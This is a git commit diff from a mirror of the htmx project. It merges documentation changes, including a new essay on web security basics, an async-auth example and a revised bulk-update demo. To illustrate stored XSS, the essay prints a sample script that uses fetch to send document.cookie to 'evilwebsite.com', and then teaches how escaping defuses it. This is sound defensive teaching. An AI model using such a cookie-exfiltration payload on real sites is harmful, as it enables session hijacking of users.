mirror of
https://github.com/bigskysoftware/htmx.git
synced 2025-09-28 13:31:06 +00:00
Merge branch 'master' into v2.0v2.0
This commit is contained in:
commit
36c01420d6
@ -38,7 +38,7 @@
|
||||
## [1.9.6] - 2023-09-22
|
||||
|
||||
* IE support has been restored (thank you @telroshan!)
|
||||
* Introduced the `hx-disabled-elt` attribute to allow specifing elements to disable during a request
|
||||
* Introduced the `hx-disabled-elt` attribute to allow specifying elements to disable during a request
|
||||
* You can now explicitly decide to ignore `title` tags found in new content via the `ignoreTitle` option in `hx-swap` and the `htmx.config.ignoreTitle` configuration variable.
|
||||
* `hx-swap` modifiers may be used without explicitly specifying the swap mechanism
|
||||
* Arrays are now supported in the `client-side-templates` extension
|
||||
|
@ -165,6 +165,23 @@ Thank you to all our generous <a href="https://github.com/sponsors/bigskysoftwar
|
||||
<a href="https://www.ohne-makler.net/"><img src="/img/ohne-makler.svg" alt="Ohne-Makler" style="width:100%;max-width:150px"></a>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>
|
||||
<a href="https://www.codacy.com//">
|
||||
<img alt="Deepsource" src="/img/codacy.svg" style="width:100%;max-width:250px">
|
||||
</a>
|
||||
</td>
|
||||
<td>
|
||||
<a href="https://codereviewbot.ai/">
|
||||
<img alt="AI Code Review Bot" src="/img/codereviewbot.svg" style="width:100%;max-width:250px">
|
||||
</a>
|
||||
</td>
|
||||
<td>
|
||||
<a href="https://bigsky.software"><img src="/img/bss-logo.png" alt="Big Sky Software" style="width:100%;max-width:150px"></a>
|
||||
</td>
|
||||
<td>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
@ -44,3 +44,4 @@ This form will issue an ajax `POST` to the given URL and replace the body's inne
|
||||
* All requests are done via AJAX, so keep that in mind when doing things like redirects
|
||||
* To find out if the request results from a boosted anchor or form, look for [`HX-Boosted`](@/reference.md#request_headers) in the request header
|
||||
* Selectively disable boost on child elements with `hx-boost="false"`
|
||||
* Disable the replacement of elements via boost, and their children, with [`hx-preserve="true"`](@/attributes/hx-preserve.md)
|
||||
|
@ -28,6 +28,7 @@ page_template = "essay.html"
|
||||
### Building Hypermedia Applications
|
||||
* [A Real World React to htmx Port](@/essays/a-real-world-react-to-htmx-port.md)
|
||||
* [Another Real World React to htmx Port](@/essays/another-real-world-react-to-htmx-port.md)
|
||||
* [Web Security Basics (with htmx)](@/essays/web-security-basics-with-htmx.md)
|
||||
* [Hypermedia-Driven Applications (HDAs)](@/essays/hypermedia-driven-applications.md)
|
||||
* [Hypermedia Friendly Scripting](@/essays/hypermedia-friendly-scripting.md)
|
||||
* [10 Tips For Building SSR/HDA applications](@/essays/10-tips-for-SSR-HDA-apps.md)
|
||||
@ -42,6 +43,7 @@ page_template = "essay.html"
|
||||
* [Complexity Budget](@/essays/complexity-budget.md)
|
||||
* [Why htmx Does Not Have a Build Step](@/essays/no-build-step.md)
|
||||
* [Is htmx Just Another JavaScript Framework?](@/essays/is-htmx-another-javascript-framework.md)
|
||||
* [htmx Implementation Deep Dive (Video)](https://www.youtube.com/watch?v=javGxN-h9VQ)
|
||||
|
||||
## Banners
|
||||
<div style="text-align: center;margin:32px">
|
||||
|
@ -66,7 +66,7 @@ Pushing the user to define the behavior of their application primarily in HTML,
|
||||
|
||||
No matter when you wrote your htmx application, however, the behavior of an htmx form has always been defined in largely the same way a regular HTML form is: with `<form>`. With htmx adding additional network functionality, you can finally use `PUT` requests and control where the response goes, but in all other respects—validation, inputs, labels, autocomplete—you have default `<form>` element behavior.
|
||||
|
||||
Finally, because htmx simply extends HTML in a very narrow domain (network requests and DOM replacements), most of the "htmx" you write is just plain old HTML. When you have access to complex state management mechanisms, it's incredibly easy to implement a custom collapsable div; when you don't, you might stop long enough to search up the [`<details>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) element. Whenever a problem can be solved by native HTML elements, the longevity of the code improves tremendously as a result. This is a much less alienating way to learn web development, because the bulk of your knowledge will remain relevant as long as HTML does.
|
||||
Finally, because htmx simply extends HTML in a very narrow domain (network requests and DOM replacements), most of the "htmx" you write is just plain old HTML. When you have access to complex state management mechanisms, it's incredibly easy to implement a custom collapsible div; when you don't, you might stop long enough to search up the [`<details>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) element. Whenever a problem can be solved by native HTML elements, the longevity of the code improves tremendously as a result. This is a much less alienating way to learn web development, because the bulk of your knowledge will remain relevant as long as HTML does.
|
||||
|
||||
In this respect, htmx is much more like JQuery than React (htmx's predecessor, [intercooler.js](https://intercoolerjs.org/), was a JQuery extension), but it improves on JQuery by using a declarative, HTML-based interface: where JQuery made you go to the `<script>` tag to specify AJAX behavior, htmx requires only a simple `hx-post` attribute.
|
||||
|
||||
|
@ -55,7 +55,7 @@ topics: [Models](https://guides.rubyonrails.org/active_record_basics.html) that
|
||||
The rough idea, in Rails, is:
|
||||
|
||||
* Models collect your application logic and database accesses
|
||||
* Views take Models and generate HTML via a templating langauge ([ERB](https://github.com/ruby/erb), this is where [HTML sanitizing](https://en.wikipedia.org/wiki/HTML_sanitization) is done, btw)
|
||||
* Views take Models and generate HTML via a templating language ([ERB](https://github.com/ruby/erb), this is where [HTML sanitizing](https://en.wikipedia.org/wiki/HTML_sanitization) is done, btw)
|
||||
* Controllers take HTTP Requests and, typically, perform some action with a Model and then pass that Model on to a
|
||||
View (or redirect, etc.)
|
||||
|
||||
@ -106,7 +106,7 @@ doesn't have to deal with it.
|
||||
|
||||
### Creating A JSON Data API Controller
|
||||
|
||||
So, if we have this relatively well-developed Contact model that encapsulates our domain, you can easly create a
|
||||
So, if we have this relatively well-developed Contact model that encapsulates our domain, you can easily create a
|
||||
_different_ API end point/Controller that does something similar, but returns a JSON document rather than an HTML
|
||||
document:
|
||||
|
||||
|
@ -39,7 +39,7 @@ Broadly, experienced developers strive for decoupled and cohesive systems.
|
||||
|
||||
A common approach to building web applications today is to create a JSON Data API and then consume that JSON API using
|
||||
a JavaScript framework such as React. This application-level architectural decision decouples the front-end code
|
||||
from the back-end code, and allows the re-use of the JSON API in other contexts, such as a mobile applications, 3rd
|
||||
from the back-end code, and allows the reuse of the JSON API in other contexts, such as a mobile applications, 3rd
|
||||
party client integrations, etc.
|
||||
|
||||
This is an _application-level_ decoupling because the decision and implementation of the decoupling is done by the
|
||||
|
322
www/content/essays/web-security-basics-with-htmx.md
Normal file
322
www/content/essays/web-security-basics-with-htmx.md
Normal file
@ -0,0 +1,322 @@
|
||||
+++
|
||||
title = "Web Security Basics (with htmx)"
|
||||
date = 2024-02-06
|
||||
[taxonomies]
|
||||
author = ["Alexander Petros"]
|
||||
tag = ["posts"]
|
||||
+++
|
||||
|
||||
As htmx has gotten more popular, it's reached communities who have never written server-generated HTML before. Dynamic HTML templating was, and still is, the standard way to use many popular web frameworks—like Rails, Django, and Spring—but it is a novel concept for those coming from Single-Page Application (SPA) frameworks—like React and Svelte—where the prevalence of JSX means you never write HTML directly.
|
||||
|
||||
But have no fear! Writing web applications with HTML templates is a slightly different security model, but it's no harder than securing a JSX-based application, and in some ways it's a lot easier.
|
||||
|
||||
## Who is guide this for?
|
||||
|
||||
These are web security basics with htmx, but they're (mostly) not htmx-specific—these concepts are important to know if you're putting *any* dynamic, user-generated content on the web.
|
||||
|
||||
For this guide, you should already have a basic grasp of the semantics of the web, and be familiar with how to write a backend server (in any language). For instance, you should know not to create `GET` routes that can alter the backend state. We also assume that you're not doing anything super fancy, like making a website that hosts other people's websites. If you're doing anything like that, the security concepts you need to be aware of far exceed the scope of this guide.
|
||||
|
||||
We make these simplifying assumptions in order to target the widest possible audience, without including distracting information—obviously this can't catch everyone. No security guide is perfectly comprehensive. If you feel there's a mistake, or an obvious gotcha that we should have mentioned, please reach out and we'll update it.
|
||||
|
||||
## The Golden Rules
|
||||
|
||||
Follow these four simple rules, and you'll be following the client security best practices:
|
||||
|
||||
1. Only call routes you control
|
||||
2. Always use an auto-escaping template engine
|
||||
3. Only serve user-generated content inside HTML tags
|
||||
4. If you have authentication cookies, set them with `Secure`, `HttpOnly`, and `SameSite=Lax`
|
||||
|
||||
In the following section, I'll discuss what each of these rules does, and what kinds of attack they protect against. The vast majority of htmx users—those using htmx to build a website that allows users to login, view some data, and update that data—should never have any reason to break them.
|
||||
|
||||
Later on I will discuss how to break some of these rules. Many useful applications can be built under these constraints, but if you do need more advanced behavior, you'll be doing so with the full knowledge that you're increasing the conceptual burden of securing your application. And you'll have learned a lot about web security in the process.
|
||||
|
||||
## Understanding the Rules
|
||||
|
||||
### Only call routes you control
|
||||
|
||||
This is the most basic one, and the most important: **do not call untrusted routes with htmx.**
|
||||
|
||||
In practice, this means you should only use relative URLs. This is fine:
|
||||
|
||||
```html
|
||||
<button hx-get="/events">Search events</button>
|
||||
```
|
||||
|
||||
But this is not:
|
||||
|
||||
```html
|
||||
<button hx-get="https://google.com/search?q=events">Search events</button>
|
||||
```
|
||||
|
||||
The reason for this is simple: htmx inserts the response from that route directly into the user's page. If the response has a malicious `<script>` inside it, that script can steal the user's data. When you don't control the route, you cannot guarantee that whoever does control the route won't add a malicious script.
|
||||
|
||||
Fortunately, this is a very easy rule to follow. Hypermedia APIs (i.e. HTML) are [specific to the layout of your application](https://htmx.org/essays/hypermedia-apis-vs-data-apis/), so there is almost never any reason you'd *want* to insert someone else's HTML into your page. All you have to do is make sure you only call your own routes (htmx 2 will actually disable calling other domains by default).
|
||||
|
||||
Though it's not quite as popular these days, a common SPA pattern was to separate the frontend and backend into different repositories, and sometimes even to serve them from different URLs. This would require using absolute URLs in the frontend, and often, [disabling CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS). With htmx (and, to be fair, modern React with NextJS) this is an anti-pattern.
|
||||
|
||||
Instead, you simply serve your HTML frontend from the same server (or at least the same domain) as your backend, and everything else falls into place: you can use relative URLs, you'll never have trouble with CORS, and you'll never call anyone else's backend.
|
||||
|
||||
htmx executes HTML; HTML is code; never execute untrusted code.
|
||||
|
||||
### Always use an auto-escaping template engine
|
||||
|
||||
When you send HTML to the user, all dynamic content must be escaped. Use a template engine to construct your responses, and make sure that auto-escaping is on.
|
||||
|
||||
Fortunately, all template engines support escaping HTML, and most of them enable it by default. Below are just a few examples.
|
||||
|
||||
| Language | Template Engine | Escapes HTML by default? |
|
||||
| ---- | ---- | ---- |
|
||||
| JavaScript | Nunjucks | Yes |
|
||||
| JavaScript | EJS | Yes, with `<%= %>` |
|
||||
| Python | DTL | Yes |
|
||||
| Python | Jinja | **Sometimes** (Yes, in Flask)|
|
||||
| Ruby | ERB | Yes, with `<%= %>` |
|
||||
| PHP | Blade | Yes |
|
||||
| Go | html/template | Yes |
|
||||
| Java | Thymeleaf | Yes |
|
||||
| Rust | Tera | Yes |
|
||||
|
||||
The kind of vulnerability this prevents is often called a Cross-Site Scripting (XSS) attack, a term that is [broadly used](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#introduction) to mean the injection of any unexpected content into your webpage. Typically, an attacker uses your APIs to store malicious code in your database, which you then serve to your other users who request that info.
|
||||
|
||||
For example, let's say you're building a dating site, and it lets users share a little bio about themselves. You'd render that bio like this, with `{{ user.bio }}` being the bio stored in the database:
|
||||
|
||||
```html
|
||||
<p>
|
||||
{{ user.bio }}
|
||||
</p>
|
||||
```
|
||||
|
||||
If a malicious user wrote a bio with a script element in it—like one that sends the client's cookie to another website—then this HTML will get sent to every user who views that bio:
|
||||
|
||||
```html
|
||||
<p>
|
||||
<script>
|
||||
fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
|
||||
</script>
|
||||
</p>
|
||||
```
|
||||
|
||||
Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e. user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using JavaScript:
|
||||
|
||||
```js
|
||||
/**
|
||||
* Replace any characters that could be used to inject a malicious script in an HTML context.
|
||||
*/
|
||||
export function escapeHtmlText (value) {
|
||||
const stringValue = value.toString()
|
||||
const entityMap = {
|
||||
'&': '&',
|
||||
'<': '<',
|
||||
'>': '>',
|
||||
'"': '"',
|
||||
"'": ''',
|
||||
'/': '/',
|
||||
'`': '`',
|
||||
'=': '='
|
||||
}
|
||||
|
||||
// Match any of the characters inside /[ ... ]/
|
||||
const regex = /[&<>"'`=/]/g
|
||||
return stringValue.replace(regex, match => entityMap[match])
|
||||
}
|
||||
```
|
||||
|
||||
This tiny JS function replaces `<` with `<`, `"` with `"`, and so on. These characters will still render properly as `<` and `"` when they're used in the text, but can't be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML:
|
||||
|
||||
```html
|
||||
<p>
|
||||
<script>
|
||||
fetch('evilwebsite.com', { method: 'POST', data: document.cookie })
|
||||
</script>
|
||||
</p>
|
||||
```
|
||||
|
||||
which displays harmlessly as text.
|
||||
|
||||
Fortunately, as established above, you don't have to do your escaping manually—I just wanted to demonstrate how simple these concepts are. Every template engine has an auto-escaping feature, and you're going to want to use a template engine anyway. Just make sure that escaping is enabled, and send all your HTML through it.
|
||||
|
||||
### Only serve user-generated content inside HTML tags
|
||||
|
||||
This is an addendum to the template engine rule, but it's important enough to call out on its own. Do not allow your users to define arbitrary CSS or JS content, even with your auto-escaping template engine.
|
||||
|
||||
```html
|
||||
<!-- Don't include inside script tags -->
|
||||
<script>
|
||||
const userName = {{ user.name }}
|
||||
</script>
|
||||
|
||||
<!-- Don't include inside CSS tags -->
|
||||
<style>
|
||||
h1 { color: {{ user.favorite_color }} }
|
||||
</style>
|
||||
```
|
||||
|
||||
And, don't use user-defined attributes or tag names either:
|
||||
```html
|
||||
<!-- Don't allow user-defined tag names -->
|
||||
<{{ user.tag }}></{{ user.tag }}>
|
||||
|
||||
<!-- Don't allow user-defined attributes -->
|
||||
<a {{ user.attribute }}></a>
|
||||
|
||||
<!-- User-defined attribute VALUES are sometimes okay, it depends -->
|
||||
<a class="{{ user.class }}"></a>
|
||||
|
||||
<!-- Escaped content is always safe inside HTML tags (this is fine) -->
|
||||
<a>{{ user.name }}</a>
|
||||
```
|
||||
|
||||
CSS, JavaScript, and HTML attributes are ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) places where it's not safe to allow arbitrary user input, even if it's escaped. Escaping will protect you from some vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it's safest to default to not doing *any* of these.
|
||||
|
||||
Inserting user-generated text directly into a script tag should never be necessary, but there *are* some situations where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed down below.
|
||||
|
||||
## Secure your cookies
|
||||
|
||||
The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily through first-party HTML APIs, it is usually trivial to enable the browser's best cookie security features. These three in particular:
|
||||
|
||||
* `Secure` - only send the cookie via HTTPS, never HTTP
|
||||
* `HttpOnly` - don't make the cookie available to JavaScript via `document.cookie`
|
||||
* `SameSite=Lax` - don't allow other sites to use your cookie to make requests, unless it's just a plain link
|
||||
|
||||
To understand what these protect you against, let's go over the basics. If you come from JavaScript SPAs, where it's common to authenticate using the `Authorization` header, you might not be familiar with how cookies work. Fortunately they're very simple. (Please note: this is not an "authentication with htmx" tutorial, just an overview of cookie tokens generally)
|
||||
|
||||
If your users log in with a `<form>`, their browser will send your server an HTTP request, and your server will send back a response that looks something like this:
|
||||
|
||||
```
|
||||
HTTP/2.0 200 OK
|
||||
Content-Type: text/html
|
||||
Set-Cookie: token=asd8234nsdfp982
|
||||
|
||||
[HTML content]
|
||||
```
|
||||
|
||||
That token corresponds to the user's current login session. From now on, every time that user makes a request to any route at `yourdomain.com`, the browser will include that cookie from `Set-Cookie` in the HTTP request.
|
||||
|
||||
```
|
||||
GET /users HTTP/1.1
|
||||
Host: yourdomain.com
|
||||
Cookie: token=asd8234nsdfp982
|
||||
```
|
||||
|
||||
Each time someone makes a request to your server, it needs to parse out that token and determine if it's valid. Simple enough.
|
||||
|
||||
You can also set options on that cookie, like the ones I recommended above. How to do this differs depending on the programming language, but the outcome is always an HTTP request that looks like this:
|
||||
|
||||
```
|
||||
HTTP/2.0 200 OK
|
||||
Content-Type: text/html
|
||||
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax
|
||||
|
||||
[HTML content]
|
||||
```
|
||||
|
||||
So what do the options do?
|
||||
|
||||
The first one, `Secure`, ensures that the browser will not send the cookie over an insecure HTTP connection, only a secure HTTPS connection. Sensitive info, like a user's login token, should *never* be sent over an insecure connection.
|
||||
|
||||
The second option, `HttpOnly`, means that the browser will not expose the cookie to JavaScript, ever (i.e. it won't be in [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie)). Even if someone is able to insert a malicious script, like in the `evilwebsite.com` example above, that malicious script cannot access the user's cookie or send it to `evilwebsite.com`. The browser will only attach the cookie when the request is made to the website the cookie came from.
|
||||
|
||||
Finally, `SameSite=Lax` locks down an avenue for Cross-Site Request Forgery (CSRF) attacks, which is where an attacker tries to get the client's browser to make a malicious request to the `yourdomain.com` server—like a POST request. The `SameSite=Lax` setting tells the browser not to send the `yourdomain.com` cookie if the site that made the request isn't `yourdomain.com`—unless it's a straightforward `<a>` link navigating to your page. This is *mostly* browser default behavior now, but it's important to still set it directly.
|
||||
|
||||
In 2024, `SameSite=Lax` is [usually enough](https://security.stackexchange.com/questions/252300/do-i-still-need-a-csrf-token) to protect against CSRF, but there are [additional mitigations](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) you can consider as well for more sensitive or complicated cases.
|
||||
|
||||
**Important Note:** `SameSite=Lax` only protects you at the domain level, not the subdomain level (i.e. `yourdomain.com`, not `yoursite.github.io`). If you're doing user login, you should always be doing that at your own domain in production. Sometimes the [Public Suffixes List](https://security.stackexchange.com/questions/223473/for-samesite-cookie-with-subdomains-what-are-considered-the-same-site) will protect you, but you shouldn't rely on that.
|
||||
|
||||
## Breaking the rules
|
||||
|
||||
We started with the easiest, most secure practices—that way mistakes lead to a broken UX, which can be fixed, rather than stolen data, which cannot.
|
||||
|
||||
Some web applications demand more complicated functionality, with more user customization; they also require more complicated security mechanisms. You should only break these rules if you are convinced that it is absolutely necessary, and the desired functionality cannot be implemented through alternative means.
|
||||
|
||||
### Calling untrusted APIs
|
||||
|
||||
Calling untrusted HTML APIs is lunacy. Never do this.
|
||||
|
||||
There are cases where you might want to call someone else's JSON API from the client, and that's fine, because JSON cannot execute arbitrary scripts. In that case, you'll probably want to do something with that data to turn it into HTML. Don't use htmx to do that—use `fetch` and `JSON.parse()`; if the untrusted API pulls a fast one and returns HTML instead of JSON, `JSON.parse()` will just fail harmlessly.
|
||||
|
||||
Keep in mind that the JSON you parse might have a *property* that is formatted as HTML, though:
|
||||
|
||||
```json
|
||||
{ "name": "<script>alert('Hahaha I am a script')</script>" }
|
||||
```
|
||||
|
||||
Therefore, don't insert JSON values as HTML either—use `innerText` if you're doing something like that. This is well outside the realm of htmx-controlled UI though.
|
||||
|
||||
The 2.0 version of htmx will include an `innerText` swap, if you want to call someone else's API directly from the client and just put that text into the page.
|
||||
|
||||
### Custom HTML controls
|
||||
|
||||
Unlike calling untrusted HTML routes, there are a lot of good reasons to let users do dynamic HTML-formatted content.
|
||||
|
||||
What if, say, you want to let users link to an image?
|
||||
|
||||
```html
|
||||
<img src="{{ user.fav_img }}">
|
||||
```
|
||||
|
||||
Or link to their personal website?
|
||||
```html
|
||||
<a href="{{ user.fav_link }}">
|
||||
```
|
||||
|
||||
The default "escape everything" approach escapes forward slashes, so it will bork user-submitted URLs.
|
||||
|
||||
You can fix this in a couple of ways. The simplest, and safest, trick is to let users customize these values, but don't let them define the literal text. In the image example, you might upload the image to your own server (or S3 bucket, or the like), generate the link yourself, and then include it, unescaped. In nunjucks, you use the [safe](https://mozilla.github.io/nunjucks/templating.html#safe) function:
|
||||
|
||||
```html
|
||||
<img src="{{ user.fav_img_s3_url | safe }}">
|
||||
```
|
||||
|
||||
Yes, you're including unescaped content, but it's a link that you generated, so you know it's safe.
|
||||
|
||||
You can handle custom CSS in the same way. Rather than let your users specify the color directly, give them some limited choices, and set the choices based on their input.
|
||||
|
||||
```css
|
||||
{% if user.favorite_color === 'red' %}
|
||||
h1 { color: 'red'; }
|
||||
{% else %}
|
||||
h1 { color: 'blue'; }
|
||||
{% endif %}
|
||||
```
|
||||
|
||||
In that example, the user can set `favorite_color` to whatever they like, but it's never going to be anything but red or blue. A less trivial example might ensure that only properly-formatted hex codes can be entered, using a regex. You get the idea.
|
||||
|
||||
Depending on what kind of customization you're supporting, securing it might be relatively easy, or quite difficult. Some attributes are ["safe sinks,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#safe-sinks) which means that their values will never be interpreted as code; these are quite easy to secure. If you're going to include dynamic input in ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) you need to research *what* is dangerous about those contexts, and ensure that that kind of input won't make it into the document.
|
||||
|
||||
If you want to let users link to arbitrary websites or images, for instance, that's a lot more complicated. First, make sure to put the attributes inside quotes (most people do this anyway). Then you will need to do something like write a custom escaping function that escapes everything *but* forward slashes (and possibly ampersands), so the link will work properly.
|
||||
|
||||
But even if you do that correctly, you are introducing some new security challenges. That image link can be used to track your users, since your users will request it directly from someone else's server. Maybe you're fine with that, maybe you include other mitigations. The important part is that you are aware that introducing this level of customization comes with a more difficult security model, and if you don't have the bandwidth to research and test it, you shouldn't do it.
|
||||
|
||||
### Non-cookie authentication
|
||||
|
||||
JavaScript SPAs sometimes authenticate by saving a token in the client's local storage, and then adding that to the [`Authorization` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization) of each request. Unfortunately, there's no way to set the `Authorization` header without using JavaScript, which is not as secure; if it's available to your trusted JavaScript, it's available to attackers if they manage to get a malicious script onto your page. Instead, use a cookie (with the above attributes), which can be set and secured without touching JavaScript at all.
|
||||
|
||||
Why is there an `Authorization` header but no way to set it with hypermedia controls? Well, that's just one of WHATWG's ~~outrageous omissions~~ little mysteries.
|
||||
|
||||
You might need to use an `Authorization` header if you're authenticating the user's client with an API that you don't control, in which case the regular precautions about routes you don't control apply.
|
||||
|
||||
## Bonus: Content Security Policy
|
||||
|
||||
You should also be aware of the [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) (CSP), which uses HTTP headers to set rules about the kind of content that your page is allowed to run. You can restrict the page to only load images from your domain, for example, or to disable inline scripts.
|
||||
|
||||
This is not one of the golden rules because it's not as easy to apply universally. There's no "one size fits most" CSP. Some htmx applications make use of inline scripting—the [`hx-on` attribute](https://htmx.org/attributes/hx-on/) is a generalized attribute listener that can evaluate arbitrary scripts (although [it can be disabled](https://htmx.org/docs/#configuration-options) if you don't need it). Sometimes inline scripts are appropriate to preserve [locality of behavior](https://htmx.org/essays/locality-of-behaviour/) on a application that is sufficiently secured against XSS, sometimes inline scripts aren't necessary and you can adopt a stricter CSP. It all depends on your application's security profile—it's on to you to be aware of the options available to you and able to perform that analysis.
|
||||
|
||||
## Is this a step back?
|
||||
|
||||
You might reasonably wonder: if I didn't have to know these things when I was building SPAs, isn't htmx a step back in security? We would challenge both parts of that statement.
|
||||
|
||||
This article is not intended to be a defense of htmx's security properties, but there are a lot of areas where hypermedia applications are, by default, a lot more secure than JSON-based frontends. HTML APIs only send back the information that's supposed to be rendered—it's a lot easier for unintended data to "hide" in a JSON response and leak to the user. Hypermdia APIs also don't lend themselves to implementing a generalized query language, like GraphQL, on the client, which [require a *massively* more complicated security model](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html). Flaws of all kinds hide in your application's complexity; hypermedia applications are, generally speaking, less complex, and therefore easier to secure.
|
||||
|
||||
You also need to know about XSS attacks if you're putting dynamic content on the web, period. A developer who doesn't understand how XSS works won't understand what's dangerous about using React's [`dangerouslySetInnerHTML`](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)—and they'll go ahead and set it the first time they need to render rich user-generated text. It is the library's responsibility to make those security basics as easy to find as possible; it has always been the developer's responsibility to learn and follow them.
|
||||
|
||||
This article is organized to making securing your htmx application a "pit of success"—follow these simple rules and you are very unlikely to code an XSS vulnerability. But it's impossible to write a library that's going to be secure in the hands of a developer who refuses to learn *anything* about security, because security is about controlling access to information, and it will always be the human's job to explain to the computer precisely who has access to what information.
|
||||
|
||||
Writing secure web applications is *hard*. There are plenty of easy pitfalls related to routing, database access, HTML templating, business logic, and more. And yet, if security is only the domain of security experts, then only security experts should be making web applications. Maybe that should be the case! But if only security experts are making web applications, they definitely know how to use a template engine correctly, so htmx will be no trouble for them.
|
||||
|
||||
For everyone else:
|
||||
|
||||
1. Don't call untrusted routes
|
||||
2. Use an auto-escaping template engine
|
||||
3. Only put user-generated content inside HTML tags
|
||||
4. Secure your cookies
|
@ -37,9 +37,10 @@ You can copy and paste them and then adjust them for your needs.
|
||||
| [Tabs (Using HATEOAS)](@/examples/tabs-hateoas.md) | Demonstrates how to display and select tabs using HATEOAS principles |
|
||||
| [Tabs (Using JavaScript)](@/examples/tabs-javascript.md) | Demonstrates how to display and select tabs using JavaScript |
|
||||
| [Keyboard Shortcuts](@/examples/keyboard-shortcuts.md) | Demonstrates how to create keyboard shortcuts for htmx enabled elements |
|
||||
| [Sortable](@/examples/sortable.md) | Demonstrates how to use htmx with the Sortable.js plugin to implement drag-and-drop reordering |
|
||||
| [Drag & Drop / Sortable](@/examples/sortable.md) | Demonstrates how to use htmx with the Sortable.js plugin to implement drag-and-drop reordering |
|
||||
| [Updating Other Content](@/examples/update-other-content.md) | Demonstrates how to update content beyond just the target elements |
|
||||
| [Confirm](@/examples/confirm.md) | Demonstrates how to implement a custom confirmation dialog with htmx |
|
||||
| [Async Authentication](@/examples/async-auth.md) | Demonstrates how to handle async authentication tokens in htmx |
|
||||
|
||||
## Migrating from Hotwire / Turbo ?
|
||||
|
||||
|
55
www/content/examples/async-auth.md
Normal file
55
www/content/examples/async-auth.md
Normal file
@ -0,0 +1,55 @@
|
||||
+++
|
||||
title = "Async Authentication"
|
||||
template = "demo.html"
|
||||
+++
|
||||
|
||||
This example shows how to implement an an async auth token flow for htmx.
|
||||
|
||||
The technique we will use here will take advantage of the fact that you can delay requests
|
||||
using the [`htmx:confirm`](@/events.md#htmx:confirm) event.
|
||||
|
||||
We first have a button that should not issue a request until an auth token has been retrieved:
|
||||
|
||||
```html
|
||||
<button hx-post="/example" hx-target="next output">
|
||||
An htmx-Powered button
|
||||
</button>
|
||||
<output>
|
||||
--
|
||||
</output>
|
||||
```
|
||||
|
||||
Next we will add some scripting to work with an `auth` promise (returned by a library):
|
||||
|
||||
```html
|
||||
<script>
|
||||
// auth is a promise returned by our authentication system
|
||||
|
||||
// await the auth token and store it somewhere
|
||||
let authToken = null;
|
||||
auth.then((token) => {
|
||||
authToken = token
|
||||
})
|
||||
|
||||
// gate htmx requests on the auth token
|
||||
htmx.on("htmx:confirm", (e)=> {
|
||||
// if there is no auth token
|
||||
if(authToken == null) {
|
||||
// stop the regular request from being issued
|
||||
e.preventDefault()
|
||||
// only issue it once the auth promise has resolved
|
||||
auth.then(() => e.detail.issueRequest())
|
||||
}
|
||||
})
|
||||
|
||||
// add the auth token to the request as a header
|
||||
htmx.on("htmx:configRequest", (e)=> {
|
||||
e.detail.headers["AUTH"] = authToken
|
||||
})
|
||||
</script>
|
||||
```
|
||||
|
||||
Here we use a global variable, but you could use `localStorage` or whatever preferred mechanism
|
||||
you want to communicate the authentication token to the `htmx:configRequest` event.
|
||||
|
||||
With this code in place, htmx will not issue requests until the `auth` promise has been resolved.
|
@ -5,65 +5,64 @@ template = "demo.html"
|
||||
|
||||
This demo shows how to implement a common pattern where rows are selected and then bulk updated. This is
|
||||
accomplished by putting a form around a table, with checkboxes in the table, and then including the checked
|
||||
values in `PUT`'s to two different endpoints: `activate` and `deactivate`:
|
||||
values in the form submission (`POST` request):
|
||||
|
||||
```html
|
||||
<div hx-include="#checked-contacts" hx-target="#tbody">
|
||||
<button class="btn" hx-put="/activate">Activate</button>
|
||||
<button class="btn" hx-put="/deactivate">Deactivate</button>
|
||||
</div>
|
||||
|
||||
<form id="checked-contacts">
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th></th>
|
||||
<th>Name</th>
|
||||
<th>Email</th>
|
||||
<th>Status</th>
|
||||
<th>Active</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="tbody">
|
||||
<tr class="">
|
||||
<td><input type='checkbox' name='ids' value='0'></td>
|
||||
<tr>
|
||||
<td>Joe Smith</td>
|
||||
<td>joe@smith.org</td>
|
||||
<td>Active</td>
|
||||
<td><input type="checkbox" name="active:joe@smith.org"></td>
|
||||
</tr>
|
||||
...
|
||||
</tbody>
|
||||
</table>
|
||||
<input type="submit" value="Bulk Update">
|
||||
<span id="toast"></span>
|
||||
</form>
|
||||
```
|
||||
|
||||
The server will either activate or deactivate the checked users and then rerender the `tbody` tag with
|
||||
updated rows. It will apply the class `activate` or `deactivate` to rows that have been mutated. This allows
|
||||
us to use a bit of CSS to flash a color helping the user see what happened:
|
||||
The server will bulk-update the statuses based on the values of the checkboxes.
|
||||
We respond with a small toast message about the update to inform the user, and
|
||||
use ARIA to politely announce the update for accessibility.
|
||||
|
||||
```css
|
||||
.htmx-settling tr.deactivate td {
|
||||
background: lightcoral;
|
||||
}
|
||||
.htmx-settling tr.activate td {
|
||||
background: darkseagreen;
|
||||
}
|
||||
tr td {
|
||||
